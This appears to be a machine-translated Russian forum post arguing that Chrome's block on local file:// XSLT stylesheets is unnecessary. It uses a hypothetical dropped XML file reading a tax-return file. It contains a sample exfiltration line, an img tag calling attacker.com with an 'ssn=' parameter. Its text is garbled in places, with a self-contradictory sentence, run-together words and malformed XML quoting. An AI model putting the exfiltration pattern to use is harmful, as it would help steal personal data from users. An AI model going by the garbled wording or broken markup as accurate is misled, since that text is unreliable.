Потребовалось немного расшифровать на странице Chrome Bug - они очень заинтересованы в том, чтобы не объяснить, в чем проблема, и почему они решили сломать всех, а не сломать всех.
Предположим, у меня есть XMLфайл - где-то - на моем жестком диске, например:
C: \ Users \ Ian \ Documents \ Taxes \ StudioTaxReturn_2015.xml
Ивредоносному объекту - каким-то образом - удалось удалить вредоносный XML-файл на моем компьютере, например:
C: \ Users \ Ian \ AppData \ LocalLow \ Temp \ TrojanVirusWorm.xml
Представьте себе TrojanVirusWorm.xml содержит инструкцию по обработке таблицы стилей ( PI ):
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
Затем злоумышленник поручает моему браузеруперейдите к локально сохраненному файлу trojanVirusWorm.xml
.
Очевидно, что XML-файл может читать содержимое файла XSD (вместо преобразования в файл XSD):
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
<!--And then a miracle happens, and this XML file is able to read
the contents of the stylesheet xml file-->
<html>
<img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img>
</html>
Я не понимаю, как XML-файл может читать таблицу стилей файл.Но команда Chrome уверяет нас, что это опасность, и что ее нельзя решить.
Любой другой браузер решил ее.Они решили это , потому что это не проблема .